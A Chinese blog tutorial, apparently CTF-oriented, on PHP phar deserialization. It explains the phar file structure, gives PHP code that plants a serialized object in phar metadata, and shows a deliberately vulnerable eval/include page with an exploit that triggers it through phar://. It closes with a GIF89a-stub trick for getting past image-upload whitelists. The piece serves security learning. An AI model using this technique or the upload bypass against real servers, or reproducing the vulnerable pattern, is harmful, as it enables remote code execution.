PHP之phar反序列化

前言

phar反序列化来自Secarma的安全研究员Sam Thomas发现了一种新的漏洞利用方式。或许有人对phar的理解只停留在phar://协议中甚至连phar协议都没有听过,至少在了解phar反序列化之前我就是这样的。这篇讲phar反序列化,那么肯定有人会猜有unserialize()函数的出现,但是要告诉你-----no!!不会有这个反序列化函数出现的甚至也不需要序列化函数serialize(),那么为啥要叫它phar反序列化呢?这就和phar://协议以及phar文件的打包机制有关!!

认识phar

phar是什么?简单来说就是把php压缩而成的打包文件,无需解压,可以通过phar://协议直接读取内容,如果学过java的朋友应该知道jar文件,和那个可以说是很像了。为什么可以在序列化和反序列化的点上利用?这和phar中的meta-data有很大的关系,meta-data 是以序列化的形式存储的,那么,如果当phar文件以流的形式被打开会进行一次反序列化,简单来说就是phar://协议会触发反序列化。这个后面慢慢说,一个phar文件的结构有四个部分:

1.stub: phar文件的标识,以xxxxx<?php xxx; __HALT_COMPILER();?>为固定格式,前面的可以不管,但是必须得以__HALT_COMPLIER();结尾phar文件扩展是通过这个识别phar文件,与gif图片格式中的GIF89a开头的固定格式是相同的道理。

2. a manifest describing the contents:Phar文件中被压缩的文件的一些信息以及压缩文件的权限,其中Meta-data部分的信息会以序列化的形式储存,这里就是漏洞利用的关键点,我们构造的exp就放在这个部分内。

3.the file contents:这里放的是压缩文件内的内容,我们真正的目的是构造exp利用phar反序列化,所以这里的内容可以随便写,并不影响。

4.a signature for verifying Phar integrity:签名。放在最末,算是一个匹配符,将前面除了签名用SHA1MD5SHA256加密所有的内容后来匹配(可以百度了解更多)。在这里可能用不上,但是在phar反序列化配上GC回收机制的时候这个点会派上大用场。

做个demo

做个demo就会很明了了。

这里要修改一个配置文件,把php.ini配置文件中的phar.readonly设置为off,记得把前面的分号删除,那是注释。

<?php
highlight_file(__FILE__);
class Test{
    public $name='errorr0';
}
$a = new Test();
$phar = new Phar("errorr0.phar");  //生成一个phar文件,名字任意这里是errorr0,后缀名必须为phar
$phar -> startBuffering(); 
$phar -> setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar -> setMetadata($a); //将创建的对象a写入到Metadata中
$phar -> addFromString("test.txt","hello,phar!!"); //添加压缩文件 文件名为test,文件内容为hello,phar!!
$phar -> stopBuffering();
?>

startBuffering()stopBuffering()其实不用太在意他俩的作用

大概了解一下就ok,不用太过纠结其深沉的含义。 

不晓得为啥,在本机测试报错,以下实验全部是在服务器上做的。

 可以看到,生成了一个名为errorr0.phar的文件,看看内容:

 亮点出来了,被序列化了,而且可以发现前面的代码是没有serialize()函数的,虽然我知道结果但是还是想说,太妙了!

做个简单题

既然知道如何生成phar文件,那做phar题这块就可以拿捏,先看看题。

拿个简单的练练手。

index.php
<?php
highlight_file(__FILE__);
error_reporting(0);
    class Test{
    public $rce;
    public function __destruct(){
        eval($this -> rce);
    }
}
$filename = $_GET['file'];
include($filename);
?>

粗一看,不就是一个rce嘛,咋就做个exp

test.php(exp):
<?php
class Test{
    public $rce = "phpinfo();";
}

$a = new Test();

$phar = new Phar("test.phar");
$phar -> startBuffering();
$phar -> setStub("<?php __HALT_COMPILER(); ?>");
$phar -> setMetadata($a);
$phar -> addFromString("test.txt","hello my dear!");
$phar -> stopBuffering();

?>

格式大概一直是这样的,这里在服务器测试

phar文件已近生成,然后将phar文件放在index.php文件目录下,一般ctf可以upload之类的,要么就是目录穿越。这里我就直接生成在index.php的目录下了。再利用phar://协议读取phar文件内的test.txt文件在此过程中会对phar文件的meta-data进行一次反序列化,结果如下:

总结

其实还是有更难的题目,但是又怕把文章篇幅写太长,所以就不写了,以后打比赛复现时我会标注出哪些是phar反序列化。上述文章大概就讲了如何构造phar文件,如何用phar://协议打开phar文件。这里有个小tips提一下,我前面说过,phar可能会出现在ctf的文件上传中,如果题目是白名单绕过,只能上传jpgpnggif这个时候应该怎么办呢?还记得我说过gif是以GIF89a开头的吧?所以解决方法就是,在setStubphar的标识时顺便加上一句GIF89a,再将生成的phar文件修改为JPG后缀,最后上传再用phar://协议就可以了。(可能有点啰嗦,但这真是干货)

参考文章:phar反序列化 - My_Dreams - 博客园

PHAR反序列化拓展操作总结 - FreeBuf网络安全行业门户

  • 8
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
PHP序列是将PHP对象转换为字符串的过程,以便在存储或传输时使用。序列后的字符串可以通过序列操作重新还原为原始的PHP对象。\[1\] 在PHP中,可以使用serialize()函数将对象序列为字符串,然后使用unserialize()函数将字符串序列为对象。这样可以方便地在不同的环境中传递和存储对象数据。 然而,序列操作也存在安全风险。恶意用户可以构造特定的序列字符串,以触发PHP序列漏洞,导致代码执行或敏感信息泄露。因此,在进行序列操作时,需要谨慎处理输入数据,验证和过滤不可信的序列字符串。 除了使用serialize()和unserialize()函数,还可以利用一些特殊的方式来触发PHP序列漏洞。例如,通过Phar序列,可以在不使用unserialize()函数的情况下触发PHP序列漏洞。当使用phar://伪协议读取phar文件时,会自动序列meta-data中存储的信息,从而导致漏洞触发。\[2\]\[3\] 因此,在开发和使用PHP应用程序时,需要注意对序列序列操作进行安全处理,避免潜在的安全风险。这包括对输入数据进行验证和过滤,限制序列操作的权限,以及及时更新和修复可能存在的漏洞。 #### 引用[.reference_title] - *1* *2* *3* [PHP序列序列](https://blog.csdn.net/weixin_44033675/article/details/116809651)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

errorr0

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值